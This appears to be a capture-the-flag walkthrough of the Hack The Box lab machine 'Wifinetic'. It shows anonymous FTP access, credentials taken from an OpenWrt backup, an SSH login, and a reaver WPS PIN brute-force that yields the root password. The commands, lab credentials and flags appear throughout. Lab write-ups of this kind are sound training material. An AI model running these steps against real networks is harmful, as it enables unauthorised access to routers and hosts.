

Documentation Wifinetic

First, we will check which ports are open. We will do this with the command:

```
1 nmap -p- -sC -sV 10.129.229.90 -vvvv
```

```
[*]$ nmap -p- -sC -sV 10.129.229.90 -vvvv
Starting Nmap 7.93 ( https://nmap.org ) at 2024-05-26 19:17 BST
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:17
Completed NSE at 19:17, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:17
Completed NSE at 19:17, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:17
Completed NSE at 19:17, 0.00s elapsed
Initiating Ping Scan at 19:17
Scanning 10.129.229.90 [2 ports]
Completed Ping Scan at 19:17, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:17
Completed Parallel DNS resolution of 1 host. at 19:17, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 19:17
Scanning 10.129.229.90 [65535 ports]
Discovered open port 21/tcp on 10.129.229.90
Discovered open port 22/tcp on 10.129.229.90
Discovered open port 53/tcp on 10.129.229.90
Completed Connect Scan at 19:17, 32.65s elapsed (65535 total ports)
```

Based on the data we received from the nmap, we can see that there is an open FTP port with various files. We will connect to the server using the following command:

```
1 ftp 10.129.229.90
```

```
[us-dedivip-1]-[10.10.14.87]-[hackthek@123@htb-c0w0gkvxx1]-[~]
[*]$ ftp 10.129.229.90
Connected to 10.129.229.90.
220 (vsFTPD 3.0.3)
Name (10.129.229.90:root): ftp
230 Login successful.
Remote system type is UNIX.
```

Once we are on the FTP server, we will use the command:

```
1 dir
```

```
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 4434 Jul 31 2023 MigrateOpenWrt.txt
-rw-r--r-- 1 ftp ftp 2501210 Jul 31 2023 ProjectGreatMigration.pdf
-rw-r--r-- 1 ftp ftp 60857 Jul 31 2023 ProjectOpenWRT.pdf
-rw-r--r-- 1 ftp ftp 40960 Sep 11 2023 backup-OpenWrt-2023-07-26.tar
-rw-r--r-- 1 ftp ftp 52946 Jul 31 2023 employees_wellness.pdf
226 Directory send OK.
```

to see what is available on this server. After executing this command, we see many interesting files. We will transfer these to our own machine by executing the following command:

```
1 mget *
```

```
ftp> mget *
mget MigrateOpenWrt.txt?
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for MigrateOpenWrt.txt (4434 bytes).
226 Transfer complete.
4434 bytes received in 0.00 secs (58.7304 MB/s)
mget ProjectGreatMigration.pdf?
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for ProjectGreatMigration.pdf (2501210 bytes).
226 Transfer complete.
2501210 bytes received in 0.48 secs (5.0214 MB/s)
mget ProjectOpenWRT.pdf?
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for ProjectOpenWRT.pdf (60857 bytes).
226 Transfer complete.
60857 bytes received in 0.13 secs (455.2051 kB/s)
```

Once the files are downloaded, I checked each file that we just downloaded. Within these files, two very interesting things emerged.

One of them is a username and the second is a password, which will allow us to make an SSH connection to the server itself.

To find the username, I did this with the following command:

```
1 cat /etc/passwd
```

The username was found within the /etc folder of the .tar file.

```
[us-dedivip-1]-[10.10.14.87]-[hackthekat123@htb-c0w0gkvxxi]-[~]
[*]$ ls
backup-OpenWrt-2023-07-26.tar  etc  ProjectGreatMigration.pdf
Desktop  MigrateOpenWrt.txt  ProjectOpenWRT.pdf
employees_wellness.pdf  my_data  Templates
[us-dedivip-1]-[10.10.14.87]-[hackthekat123@htb-c0w0gkvxxi]-[~]
[*]$ cat /etc/passwd
```

With this command, we found the username for our SSH connection. The username is `netadmin`.

```
1 root:x:0:0:root:/root:/bin/ash
2 daemon:*:1:1:daemon:/var:/bin/false
3 ftp:*:55:55:ftp:/home/ftp:/bin/false
4 network:*:101:101:network:/var:/bin/false
5 nobody:*:65534:65534:nobody:/var:/bin/false
6 ntp:x:123:123:ntp:/var/run/ntp:/bin/false
7 dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false
8 logd:x:514:514:logd:/var/run/logd:/bin/false
9 ubus:x:81:81:ubus:/var/run/ubus:/bin/false
10 netadmin:x:999:999:./home/netadmin:/bin/false
```

I found the password by looking into the config file by executing the following command:

```
1 cat /config/wireless
```

In that file, we see the password, so we now have everything needed to make the SSH connection.

```

3 config wifi-iface 'wifinet0'
4     option device 'radio0'
5     option mode 'ap'
6     option ssid 'OpenWrt'
7     option encryption 'psk'
8     option key 'VeRyUniUqWiFiPasswrD1!'
9     option wps_pushbutton '1'
10
11 config wifi-iface 'wifinet1'
12     option device 'radio1'
13     option mode 'sta'

```

Once we gathered this information, I made my SSH connection to the server.

Details for the SSH connection:

- username: netadmin
- password: VeRyUniUqWiFiPasswrD1!
- IP-Address: 10.129.229.90

```

[us-dedivip-1]-[10.10.14.87]-[hackthekatt123@htb-c0w0gkvxxi]-[~]
[★]$ ssh netadmin@10.129.229.90
netadmin@10.129.229.90's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-162-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Sun 26 May 2024 06:46:08 PM UTC

System load:          0.0
Usage of /:            66.6% of 4.76GB
Memory usage:         7%
Swap usage:           0%
Processes:            227
Users logged in:      0
IPv4 address for eth0: 10.129.229.90
IPv6 address for eth0: dead:beef::250:56ff:feb0:a87d

```

Once logged into the server, we use the command “ls” to see what is in the directory. There, we will find our first flag in the user.txt.

```

Last login: Tue Sep 12 12:46:00 2023 from 10.10.14.23
netadmin@wifinetic:~$ ls
user.txt
netadmin@wifinetic:~$ cat user.txt
5209d37eb3c8667a8bdea13b2f50d5d2

```

In Attempt to brute force the WPS PIN could potentially lead to obtaining the actual Wi-Fi password. Let's check if we've any pre installed tools that are having capabilities set to perform network related activities. We will do that with following command:

```
1 getcap -r / 2>/dev/null
```

```

netadmin@wifinetic:~$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer-1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/reaver = cap_net_raw+ep

```

We find the reaver utility from the output. Given this, we can potentially perform a WPS PIN attack using reaver . To proceed with the WPS PIN attack, we require the BSSID (Basic Service Set Identifier) of the Access Point (AP). This BSSID uniquely identifies the AP, and having it allows us to target the specific AP for the attack.

To find the BSSID, we will use the following command:

```
1 wash -i wlan2
```

```
netadmin@wifinetic:~$ wash -i wlan2
[X] ERROR: pcap_activate status -1
[X] PCAP: generic error code
couldn't get pcap handle, exiting
netadmin@wifinetic:~$
```

As we can see here, we do not have enough privileges to execute this.

To find the BSSID number, we will then use the iw command. This command will be executed as the user netadmin.

```
1 iw dev
```

```
netadmin@wifinetic:~$ iw dev
phy#2
Interface mon0
    ifindex 7
    wdev 0x200000002
    addr 02:00:00:00:02:00
    type monitor
    txpower 20.00 dBm
Interface wlan2
    ifindex 5
    wdev 0x200000001
    addr 02:00:00:00:02:00
    type managed
```

Here we see the necessary output. Specifically, we need the `addr`.

```
phy#0
Interface wlan0
    ifindex 3
    wdev 0x1
    addr 02:00:00:00:00:00
    ssid OpenWrt
    type AP
    channel 1 (2412 MHz), width: 20 MHz (no HT), center1: 2412 MHz
    txpower 20.00 dBm
netadmin@wifinetic:~$
```

Additionally, the output will indicate the channel number, which we already know is channel 1. We know this of the "wash -i wlan2" command. In order to proceed with the WPS PIN attack, we must perform it from the monitoring interface (mon0), which was set in monitor mode earlier. This interface allows us to capture data and perform the necessary operations for the attack. Now that we have obtained the BSSID and confirmed the channel, we can move forward with the WPS PIN attack.

We will use this command:

```
1 reaver -i mon0 -b 02:00:00:00:00:00 -vv -c 1
```

Here we will see the password of the root user, and we can now log in as root.

```

netadmin@wifinetic:~$ reaver -i mon0 -b 02:00:00:00:00:00 -vv -c 1

Reaver v1.6.5 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Switching mon0 to channel 1
[+] Waiting for beacon from 02:00:00:00:00:00
[+] Received beacon from 02:00:00:00:00:00
[+] Trying pin "12345670"
[+] Sending authentication request
[!] Found packet with bad FCS, skipping...
[+] Sending association request
[+] Associated with 02:00:00:00:00:00 (ESSID: OpenWrt)
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 2 seconds
[+] WPS PIN: '12345670'
[+] WPA PSK: 'WhatIsRealAnDWhAtIsNot51121!'
[+] AP SSID: 'OpenWrt'
[+] Nothing done, nothing to save.

```

This is done by executing the following command:

details for logging in as the root user:

- username: root
- Password: WhatIsRealAnDWhAtIsNot51121!

```
1 su root
```

```

netadmin@wifinetic:~$ su root
Password:
root@wifinetic:/home/netadmin# ls

```

Now we are logged in as root. If we navigate to the root folder, we will see the document "root.txt". This is our final flag, and now the machine is completely hacked

```

root@wifinetic:/# cd root/
root@wifinetic:~# ls -a
. . . .ansible .bash_history .bashrc .cache .local .profile .python_history root.txt snap .ssh
root@wifinetic:~# cat root.txt
46fc54c157d69b74e7ddc5fc62cf7e88
root@wifinetic:~#

```